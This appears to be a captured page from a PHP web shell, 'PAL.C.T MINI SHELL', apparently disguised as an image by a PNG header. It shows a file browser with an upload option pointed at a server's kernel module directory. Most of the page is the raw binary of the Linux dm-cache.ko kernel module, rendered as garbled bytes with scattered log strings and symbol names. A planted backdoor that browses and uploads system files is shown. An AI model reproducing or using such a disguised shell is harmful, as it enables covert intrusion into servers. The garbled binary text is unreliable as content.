php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/md/
upload
files >> //lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/md/dm-cache.ko

ELF84(&%GNUfKm:m|jPxtxtPÉPÐ&U$]T$1҅ۉuΉt1Éڋu]]É'\$Ӊt$΋K|$1l$L$$P SH<x4@81 EE{#$	\$t$|$l$Ë@81T$D$$҉$t
1t$Չȉt$D$$D$$T$L$$K뛍&VSXC@LtAщ…Ҹu*C @Lt&х[^Ð!뿍#ڍt$t$$@0@XL{XtSX9O$t$fUWVSe5$1ҋ$D$t$D$xD$lD$pp0-tFT$t6FT$l01R,1҅]@6M9ӍvZ,(9FtVxD$ID$)D$/T$$,(9vW0D$)D$/D$e$(9v&0)эp4օ+t&1$e35Ġ[^_]Í&uӋFD$kD$D$|T$$]F l$|,$1D$kT$D$FD$kD$D$|T$$ts1҉|$XމŃA9vC19vD$tD$)D$D$X$ōA9wɉ|$X9)D\$<$D$tD$F1m$\09D$-T$|T$D$e\$<$ŋF D$kD$D$|T$$9)T$|D$/T$D$e$,(FD$kD$D$|T$$9Q)T$|D$/T$D$q$'XL$pl$TTT$hPl$dLT$`Hl$\DT$XD$PT$ll$Ll$Tl$Hl$hl$Dl$dl$@l$`l$<l$\l$8l$Xl$4n4D$$D$0l$,D$(F8T$L$+T$tL$xD$ T$L$D$D$\$<$ʼnv09D$4t&XL$$D$i?&D$<)Ѝ$D$$19)\$<$D$x1D$$@D$$$H1띍v'\$Ӊl$1t$|$p0R N8	9rЉ1҉lj$uJt1҉V8	N8K$F8|$t$l$	C(\$Í&1묍0\$ É|$(ωl$,Չt$$p0F @PH\$H@XDL$\$HH9u|T$D$N \$|$		D$؉T$$D$Յu(V؉|$s{$D$t$|$Ջ\$ t$$|$(l$,0HH_t&$\$Ӻ~t$Ɖ؉|$l$ L$t=0w8tFL$ډօu6\$t$|$l$ $Ðt&D$L$
tD$\$$D$밍vD$1FxFt뛍&'UWVSӁ҉L$ x0uĄ[^_]Ðn@\$,tʍl1퍗pD$\$HdT$$L$(D$0T$ $D$htT$pL$D$T$D$4$at$pD$ht$xD$|W41ɉL$9։T$r3L$\$t$D$L$\$$<;D$vzT$L$D$D$T$L$$$D$pL$D$D$4$Xt$pFt$xD$|<9r4D$D$t$D$$RD$xL$4D$<؉L$4L$8D$@D$DD$pT$$D$4T$vT$(D$@uPL$0D$`D$Tt$TD$\D$`L$XD$dfعD$@tD$D9l$,rdT$ J}T$@t$$&v'S,0P0tҋ[f@08
\$Ét$։|$@us4\$t$|$$WVSX0C @PHTp@xDt$|$xH9@T$D${8		D$T$1҅t1ƉD$ƉT$8t#K49t91 ti[^_Ðt&T$u88uNj0 C$81 8uCٺ`8 [^_Ít&r(v&F҅t=҅u19fwU-8xHD$D$$<$$
t$p@$É|$GKHt.y{H‰t$$|${DЍv$X@t$Ɖ؉|$:‰$t$|$ÍU@WVS\$\$\$$9ωtl$GYL$(E?$D$9؋8uf9ߋu[^_]Ít&҉t$Ή$|$l$YtMN${@ShKdʼnt$$|$l$t&uf$É|$׉t$hp@9‹$|$t$$X@t$Ɖ؉|$9‹t$؋|$$v|$T$L$u	1ÐS1
$Él$͋L$t$|$Ʌt$0pt֋t$t$|$l$Í&t$$|$@l$ |$D$(\$Ӊt$΋L$$l$D$D$00$D$D$,D$Uu;|$tLL$$҅u 0xtډ׍\$t$|$l$ fD$$ډ$ԍUWVS,X0u_dD$D$$D$D$ D$$D$(&T$tT$tVdD$D$$D$s|D$ D$$D$(T$uT$tCDCHCDp@us4ǃǃtK1&;s4s801ɅCt؉D$$D$S81ɋCs${(4$|$D$tfC@1D$1D$D$2‹D$C1҅‰$D$1;t$rvnDT$D$HD$LD$ PD$$C0Cugt$t$Cu?,[^_]Ít&;4fD$$xm$4$$닐t&'WV4SƋ@C<FV f{SF$CF(C F,fCF0Ct111&|4K8|K8|6|K9rڋNڋFv~@CNXt/Y^X‰[^_[^_^Tύ|$1҉$Ét$s@l$ʼn8tGuM8‹$|$t$l$'|$NjD$ \$\$t$t$l$Չ$c$EtQ$҅u0htډՉډ\$t$|$l$V\$t$|$l$Íl$ʼn$Ӊt$t$|$|$ECCu$t$|$l$Ít&$t$|$l$t&'UWVSӃD$ T$$L$($؉T$4L$BhL$HS<PKC<PH SP$S P(SfP,SP0f{t-11ҍvk8l
fl4k8l
fl6k9rڋ$L$@T$ ډL$$[^_]fl$1҉$t$|$pP^W<@t\F$F${@F$ShKdʼnt$$|$l$&F$먍v'UWV1Sy0t)0P0tҍ_@8‰Et{t$t$t$Eth9t$t[G@$T$D$9u
!&ډˋRJ\R`9uT$$}t$1[^_]Ít& 1[^_]Ð$Ӊt$ƋtLKt/St
1$t$Ë1Cu߸ڋ1Cu㋆(1u΍t&'VSL$L$8T$\$,T$D$D$D$L$L$($t
D$4T$0[^Ðt&l$h@\$Ét$|$׈$$D$EKD֋T$t$\$|$l$UWVS8X0RD$T$K<"T$1D$ EE։D$T$ @ Ƹ&FF҃	ЈuT$ 9S(wsCGbt&L$9K$vGuV1D$4T$4L$ T$T$D$؉\$D$<$tv|18[^_]É鐍t&$Ƹ4&t&S8D$T$T$1҅t$D$T$ T$؋L$ 0L$ T$$T$T$D$|$D$$Ui9D$$@GDLEFGt
@DD$0T$ D$D$T$$T$41ɉؽf1t$1t#MfGHPEFuT$؋L$ $L$YGT$4hv1vT$41&1҉1ɉ؋T$4
D$0҅T$L$ D$؉$L$PFHGED$T$ $؉T$cD$$D$$D$l$$4$Ӊt$RƅtStt($t$v$t$Ðt&VSË,t((t t$tttttttCtStStS t0tt"1&9w狃[^t&'@0&$Ét$ډ|$l$@t$t$|$l$Ðt&s~@ŋCP`H\$t$|$l$t&$É|$׉t$Bt=p@8GKPt6y{P‹$|$t$$Ћt$|$v{Lȍt&'UWV֍h@S_LGPGL‰t{Ct؉u[^_]Íغᐍ&SX(C|$[É'\$Ét$|$l$H$puFtyP,C SK$؋t$\$|$l$Ut&P(уnC$u> tË0SKV밍&@,1ҋ@(S,1ɉ/xf~@C$V`N\ʼn\$t$|$l$$\$t$|$l$Í'\$Ét$|$l$p@$uP0SKWS,f؋t$\$|$l$t&0{kSKD$<$l$P K$S(уC$t냸u@SK{ 8u0xt׋S(1ɉD$$$LDv'UWVSPHXpȉT$H|L$D\$X<t$pT$<L$d\$\$t$lT$hL$`D$T\$t&T$Hp5P5T$D89w}9rn#T$XD$H;G\aT$D;WdTL$X;OlGĤ[^_]Ít&Gtd81ҋGZ1҉GmD$p$LWDLT\$H;_\t$D;wdD$X;Glt8gfDŽ$DŽ$DŽ$G8xw	9Gtt&$
0X($$Ӆ$$$DŽ$$$D$tT$tD$xD$|$4$$$$0$$XtӍt&$D$<_TGXGT‹D$<p@uD$<DŽ$DŽ$DŽ$_DۉwHt$(GHGDD$<TXD$LT$@L$Pv7SD$ D$ T$$W8T$T$$D$4D$T$81D$4T$8D$4T$81҅t
1t$ƉȋL$t$T$81҉D$4C 	D$ T$$29T$8D$,wCr9D$4s;l$t$8\$ \$4t&ډ9wr9\$,wl$\$ 1҉tk더$f|kED$(D$(CC1҉DS YGCډu$D$`$$$p9D$Tt3$$tX$Jt$TptD$`v$L$T$ 9D$(f\$ 11CPL$9ӉT$u/&CT$D$11	0ډQ$űGtljŀ8L$ ȉiA$\$(t$9\$ D$(Et&$$$$D$$T$ DŽ$P$xHXP$L$ H \$@,X(PE}G8;wx;GtKL$T$O<T$1D$ EE։D$T$1҉T$L$D$ @D$4D$,$DŽ$$$L$L$T$T$D$D$$D$,L$tL$T$\$L$t$D$$0PD$tN8$1ɉC$DŽ$D$,G8x;GtD$,1ɉډEt&1E$D$T$ҋw8T$ D$t1T$ D$T$ T$D$T$!$DŽ$QD$<OHY\$(‰_HD$<|$4qD$dCED$\C\$L$$$t$ mDŽ$P$x4P$t$\$H pXt$ @,p(VD$tD$dCED$\T$ BD$T$$T$ډGHGDD$<$DŽ$$$T$T$xL$L$|D$D$$T$|0D$xL$T$T$$S `bT$P$$L$ $DŽ$P$xP$\$t$H @(Xpt$ p,PT$@>\$Lt$P$$$L$xD$ $T$,\$|QDŽ$P$xHXP$\$L$p XH\$,X(_D$lCED$hCt	@t_$l_D=$D$tD$
$D$v'$0t<T$ BD$T$t$$T$ډ=T$ B$T$D$D$T$ډ$ډSv$tDŽ$`L$ A
\$Ét$|$l$p@$u`F{kS <$l$~@VpNlʼn8\$t$|$l$t&S Ft0{kSKD$<$l$P C$t0S,S(1ɉC SK$؋t$\$|$l$w&u$0SKV$HW$@$u
t&t&'P\$@Ét$D|$Hl$Lp@$u C u&\8\$@t$D|$Hl$LPÍt&SKKK{ q6t$,A8D$<D$8q 6t$A8D$T$ Q8D$(T$$S$u	y8sCD$D$T$T$D$0T$4L$,$T$\$D$`D$>C,SKx(uaGF8	9G 1҉XW<PG< S CKT$SL$$!t&sry8sCD$D$T$T$D$0T$4L$T$,$\$D$`D$$t&'UWЀVS`D$eD$\1T$8
L$D$l$,D$(uaA4D$|$StStStT$\e3
`[^_]fD$(S$‹D$tT$B4yvC@PH
p@xDHH9
		CT$<D$D$$<L$(u
L$t&D$(S$‹D$tD$@4vC@PH	p@xDHH9			s{T$(t6D$(S$‹D$t)L$A4_T$B4D$FC@PHk	p@xDHH9_			SK;Hw#r;PsD$@4D$t&T$(uT$B4D$(
L$8D$8?= ƒ?;S?|$L$8C T$(C0C44<$>D$8PT$8t/D$(7u0C4D$8PT$8uыD$(uzL$A4fAuC4돍&N/C4hL$A4wL&D$(K(C$T$(<$VD$,S(C,D$(ЀD$S0xT$$LL$A8q0A(A,A8C0S4F <@AVCFCFCF CSCCCF,V0K 1ɉF$V(S V8D$hS BrʉN<SC E‰F4F8{$D$D$F,V0$T$=0C(FtFx4C(S,qtT߉Ӊl$ t3KtNjL$A4l`vl$ 0~1ɋS D$1|$$$=@FdF\F\F`FdFdFhFlFlFpF|F@FHFDFPFLFXFTdžF4dždždžV41F$V(1=1ɺxD$D$$}1ɉ1҉dždž@&dždž$(dž,$ $$8T$(8FD$(DD$,HD$0LD$4džlPpdžTpdžXtdž\dž`džddžh&L$?L$vMt&	&CSF<K F4ȺЀD$t|$tqt$ 1t$\$$&9vIDut$ \$$tl$t&DuD$/t&t$ \$$D$T$L$q0=&1
T$B4)T$8t:D$@4	L$A4
D$@40
|$8HT$B4	zT$B4sL$A4t
UD$@4@T$B4
+;CD$@4L$A4
D$@4
T$B40HHHH\HHL$A4	Y1ZT$B4T
$$	T$B4ZI:t$Ɖ\$HQ,x^4$S0\$t$Ð&$$$Í&'$$$$Í&'UWVSӃ 1ҋ|$4L$;\$tP@D$l$&D$l$$uJL$„҈t9\$uĉƒ [^_]É\$D$$lD$T$$(D$T$뾃$1=É'|$$Ét$$F(F,Ft$0$|$'|$|$l$\$Ét$PUT$$UE؋T$$օu\$t$|$l$ÍVSӋS,džC< $(,[0^Í1Í&8l$4ՋT$<\$(Ét$,|$0D$$
@L$Rt$T$ |$ T$1D$t[{
D$um{t	D${T$T$$L$L$D$,$T$T$L$L$‰Ћ\$(t$,|$0l$48Í&DD$D$$D$D$,$ÉuK
L$Xt&tf0|$(\$ Ét$$։l$,D$D$9s#D$$uY|$tokl$$l$l$щ‹D$l$t$u\$ t$$|$(l$,0$Ѝv$ÉЉt$|$l$Ɖljōu
;t1$t$|$l$f; ',|$$t$ Ɖ\$Ӊl$(ʼnD$}u:D$$D$\$t$ |$$l$(,Í&wډt kD$t KՉD$롹ꍆL$QPQPtnD 	tD$,ʉL$L$D$	L$L$L$D$$L$щ‰D$\$ËD$(t$֋|$D$CD|$|$|$4$t$\$|$Ðt&8t$,\$(É|$0l$4ՈL$C|$ D$|$,$D$ T$$D$D$T$|$u`D$1L$T$D$|$,$	ЋD$ L$$D$D$uL$L$\$(t$,|$0ȋl$48f|$t҃D$j&$t$\$É|$׉l$ D$(T$,l$l$<$L$CT$l$u\$t$|$l$ $Í'$t$\$É|$׉l$ Cl$l$<$D$D$l$u\$t$|$l$ $É'$t$Ɖ؉|$NQƉ$t$|$Í'$t$Ɖ؉|$NQƉ$t$|$Í'|$$Ét$$(F,F0$Ft$|$'$t$Ɖ!Ɖ$t$Ðt&$t$Ɖ؋$t$Í' Љ\$t$։|$É3S3C	uFS C$с	W)щC9uqC(uB0\$t$|$ ÉD$T$CS$4
D$T$D$D$D$$뙉T$D$$
{D$D$T$D$$
Mv'Љ$t$։|$É)щCCSW$t$|$Í&҉\$øDt$ Dl$E|$Cx<$t$\$t$|$l$Í&CxΉsuCT$1ɉT$1$uD$Nj@ֹ4GG,$(,0G@щtftCT$GCT$1ɉT$1$"D$‰D$fj45G@GAH\$t$ƉFD$$G؋t$\$(t$\$É|$ ׉l$$D$,l$D$\$D$uN1D$C\$\$$ GÉ؋\$t$|$ l$$(Ítt u농UWVSÃ$T$D$1te1D$Cx1D$t&u_D$#1D$4$|$T$u;rw;r‹D$T$T$$[^_]fD$#D$D$4$D$D$uD$#rv'\$t$@xL$$ډ\$t$f\$t$@xL$$ډ\$t$f,|$$NjD$0l$(l$4\$Ӊt$ ΉD$l$D$Gxl$l$D$l$,$u D$D$D$\$t$ |$$l$(,Ðt&SPÉCC[&'\$Ét$$D$D$D$D$P@ tSCDD$\$t$Ít&UWVSӃ LЀD$4D$y@}DžD$8 $=ÉE11ɉǍD$D$D$$tE [^_]ËD$t$H1tRfLC9wD$|$tEU1ɉT$U$1l(E`E]x<EDžDžDžDžPBHJH9ET$1ɋE$T$1D$4P@x@@BBBP,@ @$@(@,BBBǀBB@<ytftǀǀǀǀǀǀET$u
t&EU]D$11$D$ۉ [^_]Ðt&T$1ɋE$T$1D$ËE@LucEU1ɉT$UT$S@$1D$EUxS҃	ЈD$D$PT$d$T$P‰D$Ef1fs4xA5P@J$]ۉލT$T$&L$1JH$$tD$D$$ۉD$$$TH<Q$BDÍ&'@<É'@<@(É'SX<C,[
SøCB[v[Ð&UWVSuft~Cutns,tgd>to@@8t4-t*ED$W^T$ED$ut&1۸v[^_]É|$$Սv\$t$։|$=wct3T$(D$$L$ T$T$$S0tSX<\$t$|$É|$D$$=wu$뱐C,롉'WVSÃ@(
{u't&6t>Fuu0
غ1v[^_Í&։|$$pͅqD$D$$ DX,p


:T	!@
ck}
	!(	/JOf	k{		
 
	#	{						0
-g
o

	

	'/w	|!)7H		7
Y
	^
<Gqv		#	(Xu68-!1AVf-!P_	dB%Pl				jy"3^r)9tMQVj, 3 	< L 	Q |     !! !/!>!M!\!h!v!!!!!! "I"["d""#8#U#p###q$$$$	$%%i%n%%%	&	&&	&(&	-&&&'
')'''''L)')))*>*B++,,s-W..../000J112	222	2#3_33,4>4M44445545	95E5	J566666"7~777	77788*888?8e8y8#888	8
9!9#4999#99:	7:E:S::::::;!;(;A;H;g;;;;;*;;<2<<<W=	w===> >%>T>y>>>>>>?T?h?m?r?}??????????@@@@E@;A+yAAAAAAAAB	B0B	EB	ZB	zB	B	B	BB	B	B	CC	&C	\C	}C	C	CCY/0 !"""$p4D.D	DD	D+EEEEEFH.`HHHH	I)I2I;IOIIIII	IIJ$3JOJtJJJK`KKK.HL`LLMMfMMMMM(;NNN(NNN(%O2O(fOoOOOO	O
P	P%P	*PSP	XPPPPPPP
QQ<QeQjQyQ RR	RRR	S)VStSySSSST(zTT(4U~UU"
V;VqVVVVW?WWWlWqWvWWWWWXXNX)XXXXYGYRYkYZ	[5[@[][|[[[[1\/\)E\k\)s\\	\\	\]	]]	]&])6]	;]M]	R][]	`]cEN(S(V]]]^^^^,^8^N^`^o^v^^^^^	^@_L_/g_	l_|___________`	 `B`	G`] 00$0fffffS tD$$0D$$tiD$$t31ɺ4D$$u# ؃[
	 4HO`t{00cache_mapprocess_biocache_copy_throttledrivers/md/dm-cache-target.c1 writethrough 1 passthrough 1 writeback 2 migration_threshold %llu %s 0%u:%u%s %sErrormigration_thresholdinvalidate_cblocks%llu-%llu%c%llu%cInsufficient argsError opening metadata deviceError opening cache deviceError opening origin deviceInvalid data block sizewritebackwritethroughpassthroughError creating cache's policydm-cachecould not create bio prisonDM cachedm_cache_migrationdm_cache_wb_per_bio_datadm_cache_wt_per_bio_datacache&cmd->root_locksuperblockdm-cache-%s122233333$(04<@HLTX`dlpx|<3>device-mapper: cache: could not commit metadata for accurate status
<3>device-mapper: cache: could not get metadata free block count
<3>device-mapper: cache: could not get metadata device size
%u %llu/%llu %u %llu/%llu %u %u %u %u %u %u %llu <3>device-mapper: cache: internal error: unknown io mode: %d
<3>device-mapper: cache: policy_emit_config_values returned %d
<4>device-mapper: cache: bad config value for %s: %s
<3>device-mapper: cache: cache has to be in passthrough mode for invalidation
<3>device-mapper: cache: invalid cblock range '%s'
<3>device-mapper: cache: begin cblock out of range: %llu >= %llu
<3>device-mapper: cache: end cblock out of range: %llu > %llu
<3>device-mapper: cache: invalid cblock range: %llu >= %llu
<3>device-mapper: cache: could not resize cache metadata
<3>device-mapper: cache: unable to shrink cache; cache block %llu is dirty
<3>device-mapper: cache: could not load cache mappings
<3>device-mapper: cache: could not load origin discards
<3>device-mapper: cache: could not write dirty bitset
<3>device-mapper: cache: could not resize on-disk discard bitset
<3>device-mapper: cache: could not write discard bitset
<3>device-mapper: cache: could not write hints
<3>device-mapper: cache: could not write cache metadata.  Data loss may occur.
<3>device-mapper: cache: Unexpected return from cache replacement policy: %d
<3>device-mapper: cache: %s: erroring bio: unknown policy op: %u
<4>device-mapper: cache: writeback unexpectedly triggered commit
<4>device-mapper: cache: writeback failed; couldn't copy block
<4>device-mapper: cache: demotion failed; couldn't copy block
<4>device-mapper: cache: promotion failed; couldn't copy block
<3>device-mapper: cache: %s: erroring bio, unknown policy op: %u
<3>device-mapper: cache: policy_remove_cblock failed
<4>device-mapper: cache: demotion failed; couldn't update on disk metadata
<4>device-mapper: cache: promotion failed; couldn't update on disk metadata
<3>device-mapper: cache: issuing migration failed
Error allocating memory for cache<4>device-mapper: cache: Metadata device %s is larger than %u sectors: excess space will not be used.
Device size larger than cached deviceData block size is larger than the cache deviceUnrecognised cache feature requested<4>device-mapper: cache: Odd number of policy arguments given but they should be <key> <value> pairs.
Error creating metadata objectdm_cache_metadata_all_clean() failedCannot enter passthrough mode unless all blocks are cleancould not allocate dirty bitsetcould not allocate discard bitsetcould not create kcopyd clientcould not create workqueue for metadata objectcould not create all_io deferred setError creating cache's migration mempoolError creating cache's writeback per-bio-data mempoolError creating cache's writethrough per-bio-data mempoolError setting cache policy's config values<3>device-mapper: cache: cache target registration failed: %d
Invalid number of cache feature argumentsInvalid number of policy arguments<3>device-mapper: cache metadata: block_unmapped_or_clean failed
<3>device-mapper: cache metadata: cache block %llu is dirty
<3>device-mapper: cache metadata: unable to shrink cache due to dirty blocks
<3>device-mapper: cache metadata: begin_hints failed
<3>device-mapper: cache metadata: sb_check failed: blocknr %llu: wanted %llu
<3>device-mapper: cache metadata: sb_check failed: magic %llu: wanted %llu
<3>device-mapper: cache metadata: sb_check failed: csum %u: wanted %u
<3>device-mapper: cache metadata: Cache metadata version %u found, but only versions between %u and %u supported.
<3>device-mapper: cache metadata: could not allocate metadata struct
<3>device-mapper: cache metadata: could not create block manager
<3>device-mapper: cache metadata: tm_create_with_sm failed
<3>device-mapper: cache metadata: couldn't read lock superblock
<3>device-mapper: cache metadata: could not access metadata due to unsupported optional features (%lx).
<3>device-mapper: cache metadata: could not access metadata RDWR due to unsupported optional features (%lx).
<3>device-mapper: cache metadata: tm_open_with_sm failed
<4>device-mapper: cache-policy: couldn't get module %s
<4>device-mapper: cache-policy: unknown policy type
<4>device-mapper: cache-policy: hint size must be 0 or 4 but %llu supplied.
<4>device-mapper: cache-policy: attempt to register policy under duplicate name %s
}$,}]
}^}_}$(04B~C #%''z-$05001112225D&DP\ $(,048<@DHLPTX\`dhlplicense=GPLauthor=Joe Thornber <ejt@redhat.com>description=device-mapper cache targetparm=cache_copy_throttle:A percentage of time allocated for copying to and/or from cacheparmtype=cache_copy_throttle:uintsrcversion=E398E39E60F76BDFF7A8C59depends=dm-persistent-data,dm-mod,dm-bio-prisonvermagic=2.6.32-504.3.3.el6.i686 SMP mod_unload modversions 686 :Sk $(,04&dm_cache_policy_get_hint_sizedm_cache_policy_get_versiondm_cache_policy_get_namedm_cache_policy_destroydm_cache_policy_createdm_cache_policy_unregisterdm_cache_policy_registernAmodule_layout'dm_tm_open_with_smZ-kmem_cache_destroy
__request_module+Adm_array_get_value}per_cpu__current_task[__kmallocs}dm_consume_args׺dm_bm_unlockz=up_readxdm_get_cellbstrlenSgdm_get_devicedf$dm_bitset_set_bit'|autoremove_wake_function\sblk_limits_io_optmalloc_sizes&HZddm_bm_block_sizes8_spin_lock]'dm_bio_prison_free_cellH__ratelimit[dm_kcopyd_client_destroyӏpmempool_destroyDqueue_work&jinit_timer_keyvfreea dm_register_target*q_spin_lock_irqsaveJdm_kcopyd_copyZ,<sprintfkstrdupʎblk_limits_io_minu0;dm_tm_commitu&ldm_deferred_entry_dech}jiffiesC__list_addZdm_bitset_flushNdown_readZ%strcmp__init_waitqueue_headdm_bio_prison_destroyjH)per_cpu__cpu_number.dm_cell_release?mempool_alloc_slab|Odm_read_arg_group*dm_bitset_resizedel_timer_sync(+dm_array_deldm_table_event[+memsetqdm_set_target_max_io_len!
s.dm_bm_checksum՗#printkB"Bsscanfbdm_array_walkTެ__tracepoint_module_get`dm_block_manager_destroyXdm_bitset_empty쾗dm_ratelimit_statedm_unregister_targetXstrcasecmp9gdm_deferred_entry_incSstrncpy)H^dm_shift_arg 3.lstrncmpF2dm_array_emptyYdm_bm_write_lock%destroy_workqueueyK_spin_unlock_irqrestoreՌdm_suspendedpggeneric_make_requestmempool_free_slabSmark_tech_previewc__create_workqueue_keyxQup_writeCUEdown_write-dm_bitset_test_bit">flush_workqueuedm_array_set_valueΔdm_bio_prison_alloc_cellãbio_endiozdm_tm_destroy.dm_disk_bitset_initYWvdm_bitset_clear_bitdm_bm_write_lock_zero6 module_put둰dm_cell_release_no_holderI@vzallocfdmempool_allocd8bdevnameM[|dm_array_resize>dm_tm_create_with_sm__stack_chk_failparam_get_uintL6Bschedule3jdm_bm_read_lock-dm_kcopyd_client_createmempool_createc dm_deferred_set_destroydk_kstrtoul:dm_bm_flushEkmem_cache_alloc_traceomempool_free(__per_cpu_offsetkmem_cache_createT.d__wake_up"/dm_tm_pre_commit6(,dm_block_locationzkfreeOdm_deferred_set_add_work/3prepare_to_waitH̅2param_set_uintsN7scnprintfesdm_bio_prison_create"&˜finish_waitdm_block_manager_createEdm_put_devicer?dm_block_dataT% dm_array_info_initrIdm_get_mapinfodm_table_add_target_callbacks__init_rwsemXqueue_delayed_work3iMrdm_deferred_set_create;3dm_bio_detaind7!@p

	0pPPO(,<@DL\`dlt|		dm_cache<`dmodule.sig^T{
	J?OfJ%Xgl?	Hʒe22U}Z5gh3Ry[a<	

 !% 7/`> zQ>b(p p}   0		
 >
, 
D=p
M Z`!g@]qDl`nD =c@0eN`i yu@_@
	` [ %!""u#h8#7J##h$Fz@&
p55P5
	3`7	   &4F %W`'mY"	C8D D0@DMPU>]U>kEG	 GIs K[POpPIVl  '^7Em	/R:uS k@a(0	9	H	R	@#f	0w	@	A				@SO		
]"
@
O
](j
@M
L
U
V"



/9pEtN`TeKx(0W9	c=N[r~ NCpNW


4
D
M
Sd
s





,y

"6JXb{L-:^v0HN;
-@PiDP#4FYi}p]]*7IQ_jrO3]I+7Nn9Tlw^EW|k;GO\lvMCdm-cache-target.cprealloc_put_cellblock_divremap_to_cachecache_is_congestedcache_bvec_mergedm_cache_exitcache_targetmigration_cachewb_per_bio_data_cachewt_per_bio_data_cachecache_statuscache_io_hintscache_iterate_devicesset_config_valuecache_message__key.37097do_wakercache_resumeresize_cache_devcache_preresumeload_mappingload_discarddefer_biois_discarded_oblockprocess_migrationscopy_completeset_discardclear_discardclear_dirtycache_postsuspendget_per_bio_datawritethrough_endiocheck_if_tick_bio_neededremap_to_cache_dirtyremap_to_origin_clear_discardremap_to_origin_then_cacheoverwrite_endiocache_end_ioprealloc_data_structsbio_detainfree_prison_cellcell_defercache_map__func__.36545prealloc_free_structsdestroycache_dtrquiesce_migrationissueprocess_deferred_flush_bioscleanup_migrationmigration_success_post_commitmigration_failuredo_workerissue_copycomplete_migration__func__.35546migration_success_pre_commitcache_ctr_args.36165_args.36198__key.36325__key.36326dm_kcopyd_throttleseen.36504dm_cache_init__mod_license3226__mod_author3225__mod_description3224__mod_cache_copy_throttle23__mod_cache_copy_throttletype23__param_cache_copy_throttle__param_str_cache_copy_throttledm-cache-metadata.c__save_sm_rootset_clean_shutdownclear_clean_shutdownblocks_are_unmapped_or_clean__clear_discard__set_discardread_superblock_fields__dump_mapping__load_mappingpolicy_unchangedsave_hintsb_checksb_prepare_for_writesb_validator__setup_mapping_info__key.34286dm-cache-policy.cregister_lockget_policy_onceregister_list__ksymtab_dm_cache_policy_get_hint_size__kstrtab_dm_cache_policy_get_hint_size__kcrctab_dm_cache_policy_get_hint_size__ksymtab_dm_cache_policy_get_version__kstrtab_dm_cache_policy_get_version__kcrctab_dm_cache_policy_get_version__ksymtab_dm_cache_policy_get_name__kstrtab_dm_cache_policy_get_name__kcrctab_dm_cache_policy_get_name__ksymtab_dm_cache_policy_destroy__kstrtab_dm_cache_policy_destroy__kcrctab_dm_cache_policy_destroy__ksymtab_dm_cache_policy_create__kstrtab_dm_cache_policy_create__kcrctab_dm_cache_policy_create__ksymtab_dm_cache_policy_unregister__kstrtab_dm_cache_policy_unregister__kcrctab_dm_cache_policy_unregister__ksymtab_dm_cache_policy_register__kstrtab_dm_cache_policy_register__kcrctab_dm_cache_policy_registerdm-cache.mod.c_rheldata__mod_srcversion153__module_depends____versions__mod_vermagic5dm_bio_detaindm_deferred_set_create__crc_dm_cache_policy_get_namedm_cache_dumpqueue_delayed_work__init_rwsemdm_cache_policy_get_versiondm_table_add_target_callbacksdm_get_mapinfodm_cache_policy_unregisterdm_cache_remove_mapping__this_moduledm_cache_discard_bitset_resizedm_cache_metadata_closedm_array_info_initdm_block_datadm_put_devicedm_block_manager_createfinish_waitdm_bio_prison_createscnprintfdm_cache_set_discarddm_cache_load_discardsdm_cache_set_dirtycleanup_moduleparam_set_uintprepare_to_waitdm_cache_metadata_opendm_deferred_set_add_workkfreedm_block_locationdm_tm_pre_commit__wake_upkmem_cache_create__crc_dm_cache_policy_get_version__per_cpu_offsetmempool_freekmem_cache_alloc_tracedm_bm_flushinit_module__crc_dm_cache_policy_destroydm_cache_get_free_metadata_block_countdm_cache_metadata_get_stats_kstrtouldm_deferred_set_destroymempool_createdm_kcopyd_client_createdm_bm_read_lockscheduledm_cache_load_mappingsparam_get_uint__stack_chk_faildm_tm_create_with_smdm_array_resizebdevnamemempool_alloc__crc_dm_cache_policy_registervzallocdm_cell_release_no_holdermodule_putdm_bm_write_lock_zerodm_bitset_clear_bitdm_disk_bitset_initdm_tm_destroybio_endiodm_bio_prison_alloc_celldm_array_set_valueflush_workqueuedm_bitset_test_bitdown_writeup_write__create_workqueue_keymark_tech_previewmempool_free_slabgeneric_make_requestdm_cache_insert_mappingdm_suspended__crc_dm_cache_policy_get_hint_size_spin_unlock_irqrestoredm_cache_resizedm_cache_changed_this_transactiondestroy_workqueuedm_bm_write_lockdm_array_emptystrncmpdm_shift_argstrncpydm_deferred_entry_incstrcasecmpdm_unregister_targetdm_ratelimit_statedm_bitset_emptydm_block_manager_destroy__tracepoint_module_getdm_cache_metadata_all_cleandm_array_walksscanfprintkdm_bm_checksumdm_set_target_max_io_lenmemsetdm_cache_commitdm_table_eventdm_array_deldel_timer_syncdm_bitset_resizedm_read_arg_groupmempool_alloc_slabdm_cell_releaseper_cpu__cpu_numberdm_bio_prison_destroy__init_waitqueue_headdm_cache_policy_get_namestrcmpdown_readdm_cache_policy_get_hint_sizedm_bitset_flush__list_addjiffiesdm_deferred_entry_decdm_tm_commitblk_limits_io_minkstrdupdm_cache_policy_registersprintfdm_kcopyd_copy_spin_lock_irqsavedm_cache_sizedm_register_targetvfreedm_cache_policy_destroydm_cache_write_hintsinit_timer_keyqueue_workmempool_destroydm_kcopyd_client_destroy__ratelimit__crc_dm_cache_policy_createdm_bio_prison_free_cell_spin_lockdm_bm_block_sizedm_cache_policy_createmalloc_sizesblk_limits_io_optautoremove_wake_functiondm_bitset_set_bitdm_get_devicestrlendm_cache_metadata_set_stats__crc_dm_cache_policy_unregisterdm_get_cellup_readdm_bm_unlockdm_consume_args__kmallocdm_cache_get_metadata_dev_sizeper_cpu__current_taskdm_array_get_value__request_modulekmem_cache_destroydm_tm_open_with_smdm-cache.ko.debug8'].rodata.str1.1.rodata.str1.4.rel.data.rheldata.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel__bug_table.rel.gnu.linkonce.this_module.note.module.sig.gnu_debuglink.rel__kcrctab_gpl.rel__ksymtab_gpl.rel__param.modinfo__ksymtab_strings.rel.smp_locks__versions.rel.altinstructions.bss.altinstr_replacement.rel.text.rel.init.text.rel.exit.textU4$O`T`K	`("hs(d	t@"5DtY]tU	4u"3u*2ulxh	x"2Dy<	DP"t	" 	 "88	pp"	8"4)@ #@ 	"|L x	"0x; #CKs
